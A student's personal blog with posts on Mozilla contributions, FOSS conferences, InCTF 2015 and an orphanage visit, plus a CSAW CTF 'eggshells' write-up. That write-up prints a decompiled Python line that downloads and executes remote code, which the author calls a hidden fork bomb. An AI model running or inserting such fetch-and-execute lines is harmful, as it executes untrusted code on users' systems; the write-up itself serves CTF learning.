featured – Tummala Dhanvi's Blog

Firefox Student Ambassador – My first Steps

I am recently been contributing to Mozilla recently, I am loving <3 it very much 😀 I have even fixed few bugs 🙂 Here is my profile in our FOSS club http://foss.amrita.ac.in/register/profile/dhanvi/ you can see few bug reports as my previous contributions but I have fixed my first bug in Mozilla only https://bugzilla.mozilla.org/show_bug.cgi?id=1155402 (it’s very simple what I need to do is that just change the file to the one given by them and send a patch to them)

Here is my Bugzilla profile of Mozilla https://bugzilla.mozilla.org/user_profile?login=dhanvicse%40gmail.com (you need to have account to view my bugzilla profile) and the list of bugs fixed by me are https://bugzilla.mozilla.org/buglist.cgi?quicksearch=FIX%20assignee%3Adhanvicse%40gmail.com&list_id=12541366

Enough of the Introduction, the main reason that I am writing this blog is that this is the easiest way to become a trainee level is to write a blog post (other than coding the thing that I love is writing, hacking comes the first 😛 )

First of all I am proud to be a Firefox Student Ambassador I got a sticker from Trishul <trishul.goel at gmail.com> at HackIndia and it took a good place on my laptop too 🙂 and Trishul would have helped me if I have the stable internet connection on that day, but any way I am a Mozilla Contributor now and Firefox Student Ambassador too 🙂

Activities that I have done till now are very less because we don’t have Firefox club in our collage but we have a cool FOSS club which helps students to contribute to FREEdom software by coding, what I have done till now are install Firefox in my friends systems that doesn’t have it installed and made it as the default browser also update few to the latest version who are running previous versions of Firefox. Also attended the August Office hour too as it is required to become a Trainee

I plan to start a Firefox club in our collage and do more activities and fun events 😀 let’s see how it goes well 🙂 and I plan to become a junior level by the December and crush (fix) a lot of bugs too

GitHub free private repositories for me

This was the happiest moment of mine ever 🙂 well even winning InCTF second round didn’t make me this much happy 😛

I was using Bitbucket just for this reason 😀 even we created a new organisation in the Bitbucket using our teacher’s (Bithin Ettas) email and we got unlimited number of the collaborators which become’s GitHub with unlimited Private repo’s. But I personally like GitHub UI more than that of Bitbucket (Bitbucket team don’t feel bad) and this made it easy to create great repos like the ctf write-up’s at https://github.com/ctfs/

Now with the private I can stick to Github only and also I love the gh-pages they give us freely 😀

I am not sure if it has anything to do with the HackIndia that I attended as Github was stated as the sponsor for the event

I know that I am posting this blog after a long time but I will try to make sure that all my posts that are still in the draft which include’s my Experience at Debutsav, KdeConf and HackIndia 101 !! I know this are getting pretty old topics and I will try to blog on from now when ever I got some time to spare 🙂 and I started reading books between the free periods and break time in my college, so no laptop in the college and less strain 🙂 also I need to get a good score in Academics and my target GSOC well I stopped doing CTF’s for this thing only na 😉 Any way this blog is going too personal let me stop it here and publish

Protect Your Eyes with Redshift

Hi there 🙂

Well one more article of mine got published in Open Source For You 😀 and this article introduces us to the Redshift Application which changes the temperature of the screen to protect our eyes :). You can read it here.

conf.kde.in 2015

I also know about this event in the mailing list and I helped with the registration a little Tony was taking names of whom ever he can find in the college of CSE department 😛 and science I didn’t took any responsibility this time I asked Harish if he needs any help and he asked me to help with installing QT in the lab systems which is quiet very easy (as simple as ./filename) and Vipin sir didn’t like me deviating from what I am doing!

This time no issues and every one were able to attend the event so around 100 registrations and many of my friends also registered for the event

The conference started with lighting of lamp and Bala sir and others welcoming the KDE India team and keynote was by Noufal Ibrahim and it wasn’t boring he mentioned about re-usable software (basically how to use pipe in terminal 😛 )

Then there were session about various KDE software and the one I liked most was Krita the video about it was awesome and looks like a real painting! and there was some introduction to QT and QML which is similar to C++ and some other sessions, slides can be found here http://files.kde.org/confkdein/2015/

Evening there was a hand’s on session on QT and I found it cool and easy and I was shocked about it’s cross platform it works on Windows/MAC/Linux even on Android! and tried few basics of it and made some new friends too!

Next day the session continued and some were interesting!

InCTF-2015 Experiences

Hello every one 😀

In this post I will be sharing my experiences on InCTF2015, I am writing this blog as the admins of the CTF have made it a question worth of 100 and the difference between us and the next team below us was just a matter of solving the question first (bonus score) any way I don’t think that there will be any bonus score for this question as I am not the first one to send my experiences and hope the VYkingS team didn’t send the experience first 😛

And also I wish that the awarding points will not be done as in the collage exams (based on the length of the answer written lol :P). One more thing this is not just my personal experiences, these represent the team (beginners) experiences (another way of saying other members in the team may or many not write their own :D, best way to skip the job)

Enough of this intro, to be frank InCTF is the only challenge which made me feel confident that, I can achieve something great 😀 words are not sufficient for me to describe about this CTF and I am not a writer too 😛 (doesn’t mean that this is the end of the post)

I have taken part in some ctf’s like PicoCTF but I have never participated in the live ctf and able to solve this many challenges and had a real feel of CTF and competition and thinking to win it and really won it 😀

So I will say how this ctf went on, first of all the day before the challenge I was given the task to submit the first round tasks by sending them a email. I was having holiday on friday as there were some cultural events so I slept a lot on the friday and in the night I started looking at the first round question and trying to complete them if there were any blanks and some missing things etc.. So I submitted them around 5 AM (as usual do the assignment on the last day in engineering :P). My team mate told that he will wake me up at 9 AM and thought to get ready by 10AM and start the competition. Thank God that on the friday something big happened in the Kerala and Saturday was declared as hartal (bund – In kerala you can expect them once in a week so lot of holidays for our college 😛 )

My friend Rakesh (rok_ in IRC) woke me up only at 10AM so that I can more sleep 😀 and then came to known that the ctf will be starting only at 12, I felt very happy as I need not start the ctf lately (as in the case of normal class and then ask faculty for attendance and attendance is very strict in Amrita :P) This definitely helps us as other wish we couldn’t have scored the bonus points which made the lead the CTF. So saw the India batting for some time and the wickets fell continuously so I stopped watching (you know these lucky things right :D) And then I started going to lab knowing everything regarding harthal is fine now (as the wifi at the hostel sucks as less as 50kbs which is far less than the 3g speed in my mobile)

Sai Ram (blah_blah) was already there in the lab waiting for the challenges to come online (he is our crypto expert) after that we had our food in mess (mess food really sucks here 🙁 ) and then our other members Rakesh and Abhishek(REVO in IRC) joined us.

So in this manner all the ctf started and the first thing that we targeted was triva as it’s the best way was to score the points easily. So we got hefty points (including bonus points) in the starting and we solved all the triva(including twitter picture the top image in the blog) except 2 question the ip one and the docx one.

I tried for the ip one as localhost as I know nothing more than that as I haven’t taken my network classes yet, then later I asked the same with admin, he told I was correct but there was some similar name to the localhost and always I found was loopback and then I gave a try with it and got the flag

We we stuck at the docx one till next day It was my mistake 🙁 after extracting the tar.gz file I got a zip file, instead of a second thought I just unzipped the file 🙁 this was my dam mistake and I was getting the answer by zipping the file again and renaming the file to docx and this didn’t work because the version of the zip in my machine was a latest one 🙁 , When the admins told that they have told that they have made the question easy for us, I got the flag in matter of just typing 😀 , Lesson learned if you are not getting a simple challenge try to start doing it again you might have done something wrong

My area is RE so I first about those problems, The first two sums were pretty easy and I got them as soon as opening them in the IDA pro. first one was a small ARM question and second one was hardcoded password strings will give the flag

And the third one was jar file, I have jad (java decompiler no need online one :D) and then decompiled them but I have never coded in java and all the problems I have done in picoctf were just hard coded ie the password was right there when I just decompiled them So I have postponed this one to next day ( I should have done it now it self as it was also very easy one)

I started doing the Forensics even thought, It was not a my piece of cake, the first one which I solve was fixme one in this question we were given a image file and It was damaged, as per my knowledge the thing that they would have done is just changed the header of the image, but I have never used any tools or hexedit to change it to match the exact header, but the online services have saved me from a lot of googling and installing new software 😛 and got the image fixed not sure which one worked for me but I will mention them in the write-up if I have time

Second one was pcap file and my friends found something interesting in the wireshark which say it’s the key (but it didn’t say that it is the flag :P) we have submitted many times the same key and even told admins that the question has some issue with it, later we came to know that we need to get a file from the pcap and this is the key to open the file. I have used a lot of tools in windows vm to get the files from the pcap file but nothing worked well (or my vm is bad) but I found a ausome tool for linux named foremost which gave me the zipped file in a matter of seconds and I used the key to unzip the flag and then got the flag 😀

I have tried many other sums but not sure if i can explain them here, few of the web question were solved by Abhishek (REVO) one was 9999 sum we need to give the hex value not sure about the second one

Rakesh (rok) was able to solve few binary not sure how he got them

By the night around 12 we got the score of 1500 and we have been in almost top 5 (not sure about it it might be top 10 too) so we did our best for the first day

So I and rakesh decided to take good rest so that we will be able to solve theres well tomorrow and Sai ram and abhishek decided to burn the midnight oil 😀

In the night on return we had a great opportunity to steal mangoes from one house on our way back to hostel (every day there used to be a dog and it was our lucky day that it wasn’t there or sleeping) we ate the first mango of this season even before ugadi (ugadi is festival of Andhra people)

And the best part was the hostel door was locked and only way we can enter is by jumping the wall (which is common for us don’t say it to our warden)

Next day I was in the lab by 9 AM (every one was surprised as I never got up that early on sundays and came to lab)

This day was not that successive in points (but we were moving close to our answers slowly) Our position went as bad as 20 but we were still first in our campus (so that we will be sure for the 3rd round)

But something worst happened to us we were overtaken by a girls(seniors) team from our campus who are participating in the ctf for the first time (no offence anonymous I suggest you choose a another team name as this name doesn’t have a good name in the security field)

But the lesson learned was never give up even thought every thing seems very difficult (as we can say from our results as we topped)

But when the hints were given we were able to slowly get the score in the ending and the mass hints very useful to us 😀

We will be trying to write writeups and explaining them very clearly and updating this post too

Any way we were able to solve all the RE and crypto (credits goes to Sai ram our crypto master re all except which were taken down)

here is the screen shot of the question solved In the last minute our target was just to make sure that our team will be first, the new opponent that we have is the IITR VKingS team which came equal to us (except for the bonus points) all our team members are working in the last minute to make sure that we score one more question and remain in our position. I and sai ram were working on forensics and Rakesh binary Abhishek Poodle question (If we were able to continue solving the same we would have been no where reachable to other team)

Any way the final score was like this

Now coming the final words (I have been told by admins the points for this question will be awarded based on the how well we appreciate the team and their work 😛 jk)

Over all the CTF was Excellent 😀

We appreciate all the people who are responsible for creating this great event

The greatest thing about this event is that this event was that this event was not at all run for profit and the motto of InCTF was to make more people from our country interested in Cyber Security and all the event organizers didn’t expect any thing in return other than our active participation (though they get some experience in conducting CTF’s :P)

Also Definitely InCTF2015 sponsors VMWARE definately as they are the main people sponsoring this event by bearing all the money for the servers and travel charges for the 3rd round etc … Think of the case if they weren’t there and each team has to pay 200 INR in the form of DD to Amrita University, the case would have been different

Fedora for make more girls team to participate

Mycodeschool for publicity (even though some team complain that publicity was not so good, hope they understand that the resources(money) are very less )

Not the least Amrita University Cyber Security Department (believe me I won’t get any extra credits for this 😛 )

Cons :- (Indian can complain about every thing even though every thing was perfectly good 😛 )

Rules were not clear for example the 3points bonus score I think it’s no where mentioned in the website even thought we figured it out very fastly

Also wish every question were named as in picoctf based on the question type not just bin1 bin2 so on, but clues made it clear, forensics question names were based on the type thought

Website is too old 😛 think it can go for a new design

That’s it 😀

Tummala Dhanvi (c0mrad3 black shirt in the behind main photo)

Sai Ram ( blah_blah white checks in the behind)

Abhishek (REVO man with spects red shirt selfe taker :P)

Rakesh (rok_ remaining one 😛 )

Zsh: The Ultimate Alternative to Bash

I guys, my article had published a long ago in open source for you magazine about zsh.

Since it has been a long time since publication you can read it here Zsh

66th Republic day

Hi guys

I am blogging after a long time also I have written about my personal after a long time and these days I have been stopped blogging at all and also it seems like I have stopped writing at all but I like writing a lot, I have not writing these days as I was busy in doing other things (or as I feel so) but as you, There should be always time for the things you like or, There will be always priorities

Continue reading 66th Republic day

Debutsav 2014 – My experience

I was well aware that there will a MiniDebConf conducted in our college through our internal mailing list It was also mentioned that name was changed from MiniDebConf to Debutsav as this conference was not only about Debian but other FOSS projects in general, here is the website http://debutsav.in/, but I got involved in conference when our seniors are looking for volunteers in the last minute and meeting was going on in TBI and I was working on some CTF or something related so I to joined them and I was given the work of accommodation of the delegate along with Surya chechi so no work at that moment but there will be full of work on the starting day of the conference and just before it.

We got very few rooms and rooms were in the 5-th floor without lift you can understand how difficult it might be to the people who attend! I and Joyce made sure that there were mats and pillows there so that the attendees won’t have any problem 🙂

But we had a internal issue in the campus regarding the mess food and the campus need to be closed (I agree that the mess food is not tasty but I have seen the cooking of the mess food it’s very hygienic) so our college is closed and all students were asked to leave the campus immediately! so most of the registrants can’t attend the conference dam!

So on the morning of 17th October morning all I need to do was to show the participants to show the rooms and talked with them very well. One of them was from Amrita Coimbatore and others were here because their professor asked them and some others from Bangalore.

And the conference started with a keynote from Krishnakant Mane https://twitter.com/kkmane he is a awesome guy he inspired a lot from his speech one thing I remember from his speech is

“We need a brain to Code not eyes”

when some one asked about his differently-abled

Also Harish talked on the stage 😀

And the session were started and few of them were about localization by sirish and ScrollBack by Priyanka Nag and by Praveen

Also there was also few sessions taken by our seniors, one of them was about zsh by Athira Lekshmi chechi and she told me that my article https://dhanvi1.wordpress.com/2015/02/14/zsh-the-ultimate-alternative-to-bash/ was very helpful to her 🙂 and I felt very happy 😀 . I couldn’t attend everything as I was showing people who were late to the conference their rooms. I also got cool T-shirt of the event!

There were also some hand’s on workshop in the night about installing Diaspora I didn’t stay much longer as I was feeling tired and headache but the hackthon went well and found later that Akshay got the thing working and got the T-shirt, I should also have tried.

Next also the conference went on but I didn’t attend it and continued with my work (CTF’s) more hand’s on in the night and it ended with Bujiji give the speakers Ammas books and a group photo and I was missing in it as usual!

After the conference ended Bithin etta took back all the mats and returned them, I felt bad as it was my work to do and he did it on his own, I wish he should have called me then I would have done my job for sure! any way thanks etta.

Other blog and Photos :-

http://www.j4v4m4n.in/2014/10/23/debutsav-14-at-amrita-a-rewarding-experience/

https://flossexperiences.wordpress.com/2014/10/28/debutsav-2014-experiences-day-1/#more-2724

http://balasankarc.in/tech/?p=576

http://priyankaivy.blogspot.in/2014/10/debutsav14-at-gods-own-country.html

https://harishnavnit.wordpress.com/2014/10/12/debutsav-14-behind-the-scenes/

https://framasphere.org/posts/94192

https://www.facebook.com/events/1470726469873860/

https://twitter.com/hashtag/debutsav

https://poddery.com/posts/1407655

https://www.facebook.com/allamsetty.anup/posts/782159758515612

CSAW CTF Quals 2014 – eggshells (100) writeup

Here is the link of the zip file and the question http://shell-storm.org/repo/CTF/CSAW-2014/Reverse_Engineering/eggshells-100/

The question is :

I trust people on the internet all the time, do you?

Written by ColdHeat

The question doesn’t give you any kind of hint when you first try to solve it but when you finally see the result it makes some sense to you 🙂

First when you unzip the file you get two directories named as “eggshells-master” and “__MACOSX” here are the screenshots of the directories of the both the folders.

The source code of all other files except the utilys.pyc file which is a python compiled file you can decompile it using this application (https://sourceforge.net/projects/easypythondecompiler/ ) which is based on uncompyle2 (https://github.com/Mysterie/uncompyle2) or what ever which can decompile python 2.7 file 🙂

If you decompile the file here is the code that you get:

[code language=”python”]
exec __import__(‘urllib2’).urlopen(‘http://kchung.co/lol.py’).read()
[/code]

Don’t be in a hurry and just run the code as it is a fork bomb 🙂

here you get the flag : flag{trust_is_risky}

Now you get why the question is like that 🙂

Paripilly orphanage Visit – My experience

I came to know about this one as usual in the mailing list and it was being planned by Sreedevi chechi, there was also a reply to email by Sakshi Bansal chechi saying that it was very good experience but I wasn’t much interested because I thought it wasn’t technical and thought I would rather spend my time working in the lab! but I changed my decision when Sreedevi chechi came to our class and asked me if I was coming and asked about other people from the TBI and told me to come saying that it will be good so I changed my decision and thought of attending it!

After having breakfast on the day I was waiting for the bus to arrive along with my friends and all the seniors and they brought football other items to play with the kids. I was with Sairam and Rakesh and make my day worst I did a clean shave and this makes me look a little awkward.The bus came and it looks a good one not like the one we got for FOSSMeet 😛 and we all danced in the bus too!

After we reaching there we had some cultural activities and looks like every one liked it, the warden was very strict but Vipin sir told me that he also likes the kids and enjoys with them 🙂 here are the pics

Every one were talking well with the kids and mingled with them very easily even me! and few of them found me funny bcoz I was looking like a comedian in some tamil movie but they didn’t tease me to much! more pics

You can say how really our seniors enjoyed from this pic 😀

Pics of Vipin sir and Mohanasundaram sir

It was food time by the events ended and here comes the food 🙂 we served them and one thing I found very good about them was that every one waited until last person get food and started every one got food and they started eating food only after doing prayer together, wow what a discipline even we can’t do such thing! More pics

And we also a team group pic 🙂 I know I look a bit different!

And after the food since the day we visited them was also Rakhi (https://en.wikipedia.org/wiki/Raksha_Bandhan) we explained them how to create a simple rakhi using wool and every one were happy

And next we started playing games with them, Girls played few simple games and we played football (yes you heard it right I was playing it for the first time and it did a lot of silly mistakes like touching the ball with hand! same with Sairam also) and high catches with cricket ball. Here are the photos

After the games we had a typical kerala style drums (sorry I don’t know what you guys call them!) and every one danced, I even tried the drums 🙂

And it ended with snacks break and we are done for the day and we ended the day with a Group Photo

And I came to know that we were able to sponsor the kids snacks for the day with the money we put and I felt very happy about it, I wish to do something more to them! Vipin sir also told me that even though they are orphans they are studying well and even learning arts and I envy them as I didn’t really learn anything since my childhood other than my subjects and preparing for IIT! also they need to work hard as they need to manage their work by themselves (they even get up by 4 am daily dam I don’t even get up by 9am) even though Amma is taking good care of them but I found their conditions very bad and can be improved a lot! Also seniors were playing a hand twist game and simply cracked it by doing reverse of it and called my self a RE (Reverse Engineering) expert 😀 even Akshay the hacker couldn’t get it 😛 and I showed how to crack it and told him I used RE 😀

And we all reached the campus by night dropped girls at their hostel and I was kidding with Sakshi that she didn’t tie me rakhi! and she told me that she knows what’s going on in the class and she need not worry! dam! evey one thinks I am in a relationship 🙁

Any way the day went very well and thanks once again to Sreedevi chechi for organizing this and I heard every one felt the same from the emails in the mailing list 🙂 well that’s for sure! and I felt I made a right choice in visiting the orphanage (I learned a lot from them)

Update: I used this visit as a contributorship project report can be found here https://drive.google.com/folderview?id=0BxDZABox5hT2fi0tQUtHeV9qWWlhaEtncENjaHFwWHZvVWx0NTJvb210NURnWDZqTkJqVms&usp=sharing#grid